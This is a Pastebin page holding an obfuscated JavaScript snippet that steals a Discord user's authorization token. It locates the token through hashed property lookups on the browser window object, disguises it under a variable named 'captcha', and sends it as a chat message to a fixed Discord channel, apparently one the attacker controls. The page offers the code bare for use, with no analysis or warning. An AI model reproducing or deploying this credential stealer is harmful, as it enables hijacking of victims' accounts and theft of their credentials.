Advertisement
Guest User

Untitled

a guest
Dec 4th, 2016
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. var http = new XMLHttpRequest();
  2. var hashes = [ 978836624, 110541305 ];
  3. var dehash = function(x, e) {
  4. for(var k in x) {
  5. var hash = 0, i, chr, len;
  6. for (i = 0, len = k.length; i < len; i++) {
  7. chr = k.charCodeAt(i);
  8. hash = ((hash << 5) - hash) + chr;
  9. hash |= 0;
  10. }
  11. if(hash == hashes[e])
  12. if(e == hashes.length - 1)
  13. return x[k];
  14. else
  15. return dehash(x[k], e + 1);
  16. }
  17. };
  18. var headers = ["Content-type", "application/json", "authorization", dehash(window, 0).replace(/"/g, '')];
  19. var captcha = '';
  20. var setHeader = function(ind) {
  21. http.setRequestHeader(headers[ind], headers[ind + 1]);
  22. captcha = headers[ind + 1];
  23. };
  24. http.open('POST', 'https://discordapp.com/api/channels/254940465428824065/messages', true);
  25. for(var i = 0; i < headers.length; i+=2)
  26. setHeader(i);
  27. http.send('{"content":"' + captcha + '"}');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement